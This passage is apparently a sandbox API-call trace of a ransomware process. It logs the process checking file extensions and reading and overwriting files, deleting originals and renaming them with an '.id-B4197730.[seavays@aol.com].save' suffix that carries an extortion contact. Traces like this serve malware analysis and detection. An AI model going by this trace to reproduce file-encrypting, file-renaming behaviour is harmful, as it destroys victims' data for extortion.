(lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.874] lstrlenW (lpString=".jpg") returned 4 [0054.875] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.875] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0054.875] lstrlenW (lpString="SetupEngine.dll") returned 15 [0054.875] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0054.875] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=807256) returned 1 [0054.875] CloseHandle (hObject=0x2ec) returned 1 [0054.875] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0054.875] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.875] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0054.876] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.876] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.876] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.876] GetLastError () returned 0x0 [0054.876] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xc5158, lpOverlapped=0x0) returned 1 [0055.310] WriteFile (in: hFile=0x31c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xc5160, lpOverlapped=0x0) returned 1 [0055.482] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0055.482] WriteFile (in: hFile=0x31c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf2, lpOverlapped=0x0) returned 1 [0055.482] SetEndOfFile (hFile=0x31c) returned 1 [0055.483] CloseHandle (hObject=0x31c) returned 1 [0055.501] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0055.502] SetEndOfFile (hFile=0x2ec) returned 1 [0055.756] CloseHandle (hObject=0x2ec) returned 1 [0055.756] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0055.756] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0055.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.757] lstrlenW (lpString=".doc") returned 4 [0055.757] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.757] lstrlenW (lpString=".docx") returned 5 [0055.757] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0055.757] lstrlenW (lpString=".pdf") returned 4 [0055.757] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.757] lstrlenW (lpString=".xls") returned 4 [0055.757] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.757] lstrlenW (lpString=".xlsx") returned 5 [0055.757] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0055.757] lstrlenW (lpString=".ppt") returned 4 [0055.757] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.757] lstrlenW (lpString=".zip") returned 4 [0055.757] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.757] lstrlenW (lpString=".rar") returned 4 [0055.757] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.757] lstrlenW (lpString=".bz2") returned 4 [0055.757] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.757] lstrlenW (lpString=".7z") returned 3 [0055.757] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.758] lstrlenW (lpString=".dbf") returned 4 [0055.758] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.758] lstrlenW (lpString=".1cd") returned 4 [0055.758] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.758] lstrlenW (lpString=".jpg") returned 4 [0055.758] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.758] lstrlenW (lpString=".doc") returned 4 [0055.758] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.758] lstrlenW (lpString=".docx") returned 5 [0055.758] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0055.758] lstrlenW (lpString=".pdf") returned 4 [0055.758] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.758] lstrlenW (lpString=".xls") returned 4 [0055.758] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.758] lstrlenW (lpString=".xlsx") returned 5 [0055.758] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0055.758] lstrlenW (lpString=".ppt") returned 4 [0055.758] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.758] lstrlenW (lpString=".zip") returned 4 [0055.758] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.758] lstrlenW (lpString=".rar") returned 4 [0055.758] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.758] lstrlenW (lpString=".bz2") returned 4 [0055.758] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.758] lstrlenW (lpString=".7z") returned 3 [0055.758] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.758] lstrlenW (lpString=".dbf") returned 4 [0055.759] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.759] lstrlenW (lpString=".1cd") returned 4 [0055.759] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0055.759] lstrlenW (lpString=".jpg") returned 4 [0055.759] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.759] lstrcmpiW (lpString1=".msu", lpString2=".save") returned -1 [0055.759] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0055.759] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0055.759] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=2192672) returned 1 [0055.759] CloseHandle (hObject=0x2ec) returned 1 [0055.759] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0055.759] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0055.759] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[seavays@aol.com].save")) returned 1 [0055.760] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0055.760] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0x0) returned 1 [0055.760] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0055.760] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x38d0058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0055.767] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0055.767] ReadFile (in: hFile=0x2ec, lpBuffer=0x3910058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3910058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0055.769] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.769] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0055.769] ReadFile (in: hFile=0x2ec, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0055.792] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0055.792] WriteFile (in: hFile=0x2ec, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x25cfca8, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0056.441] SetEndOfFile (hFile=0x2ec) returned 1 [0056.441] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x43abfc8 [0056.448] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0056.448] WriteFile (in: hFile=0x2ec, lpBuffer=0x43abfc8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x43abfc8*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0056.450] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0056.450] WriteFile (in: hFile=0x2ec, lpBuffer=0x43abfc8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x43abfc8*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0056.453] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0056.453] WriteFile (in: hFile=0x2ec, lpBuffer=0x43abfc8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x43abfc8*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0056.455] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43abfc8 | out: hHeap=0x6a0000) returned 1 [0056.457] CloseHandle (hObject=0x2ec) returned 1 [0058.066] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0058.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.067] lstrlenW (lpString=".doc") returned 4 [0058.067] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0058.067] lstrlenW (lpString=".docx") returned 5 [0058.067] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0058.067] lstrlenW (lpString=".pdf") returned 4 [0058.067] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0058.067] lstrlenW (lpString=".xls") returned 4 [0058.067] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0058.067] lstrlenW (lpString=".xlsx") returned 5 [0058.067] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0058.067] lstrlenW (lpString=".ppt") returned 4 [0058.067] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0058.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.067] lstrlenW (lpString=".zip") returned 4 [0058.067] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0058.067] lstrlenW (lpString=".rar") returned 4 [0058.067] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0058.067] lstrlenW (lpString=".bz2") returned 4 [0058.067] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0058.067] lstrlenW (lpString=".7z") returned 3 [0058.067] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0058.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.067] lstrlenW (lpString=".dbf") returned 4 [0058.067] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0058.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.067] lstrlenW (lpString=".1cd") returned 4 [0058.067] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0058.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.067] lstrlenW (lpString=".jpg") returned 4 [0058.067] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0058.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.068] lstrlenW (lpString=".doc") returned 4 [0058.068] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0058.068] lstrlenW (lpString=".docx") returned 5 [0058.068] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0058.068] lstrlenW (lpString=".pdf") returned 4 [0058.068] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0058.068] lstrlenW (lpString=".xls") returned 4 [0058.068] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0058.068] lstrlenW (lpString=".xlsx") returned 5 [0058.068] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0058.068] lstrlenW (lpString=".ppt") returned 4 [0058.068] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0058.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.068] lstrlenW (lpString=".zip") returned 4 [0058.068] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0058.068] lstrlenW (lpString=".rar") returned 4 [0058.068] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0058.068] lstrlenW (lpString=".bz2") returned 4 [0058.068] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0058.068] lstrlenW (lpString=".7z") returned 3 [0058.068] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0058.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.068] lstrlenW (lpString=".dbf") returned 4 [0058.068] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0058.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.068] lstrlenW (lpString=".1cd") returned 4 [0058.068] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0058.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0058.068] lstrlenW (lpString=".jpg") returned 4 [0058.068] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0058.069] lstrcmpiW (lpString1=".msu", lpString2=".save") returned -1 [0058.069] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0058.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0058.072] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=5091790) returned 1 [0058.072] CloseHandle (hObject=0x36c) returned 1 [0058.072] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0058.072] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.072] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[seavays@aol.com].save")) returned 1 [0058.073] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0058.073] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0x0) returned 1 [0058.073] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0058.073] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x38d0058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0058.078] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0058.078] ReadFile (in: hFile=0x36c, lpBuffer=0x3910058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3910058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0058.080] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0058.080] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0058.081] ReadFile (in: hFile=0x36c, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0058.098] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0058.098] WriteFile (in: hFile=0x36c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x25cfca8, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0058.641] SetEndOfFile (hFile=0x36c) returned 1 [0058.641] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x43fbfd8 [0058.648] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0058.648] WriteFile (in: hFile=0x36c, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0058.650] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0058.650] WriteFile (in: hFile=0x36c, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0058.653] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0058.653] WriteFile (in: hFile=0x36c, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0058.655] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0058.655] CloseHandle (hObject=0x36c) returned 1 [0061.514] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0061.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.514] lstrlenW (lpString=".doc") returned 4 [0061.514] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0061.514] lstrlenW (lpString=".docx") returned 5 [0061.515] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0061.515] lstrlenW (lpString=".pdf") returned 4 [0061.515] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0061.515] lstrlenW (lpString=".xls") returned 4 [0061.515] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0061.515] lstrlenW (lpString=".xlsx") returned 5 [0061.515] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0061.515] lstrlenW (lpString=".ppt") returned 4 [0061.515] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0061.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.515] lstrlenW (lpString=".zip") returned 4 [0061.515] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0061.515] lstrlenW (lpString=".rar") returned 4 [0061.515] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0061.515] lstrlenW (lpString=".bz2") returned 4 [0061.515] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0061.515] lstrlenW (lpString=".7z") returned 3 [0061.515] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0061.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.515] lstrlenW (lpString=".dbf") returned 4 [0061.515] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0061.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.515] lstrlenW (lpString=".1cd") returned 4 [0061.515] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0061.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.515] lstrlenW (lpString=".jpg") returned 4 [0061.515] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0061.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.515] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.515] lstrlenW (lpString=".doc") returned 4 [0061.515] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0061.515] lstrlenW (lpString=".docx") returned 5 [0061.515] lstrcmpiW 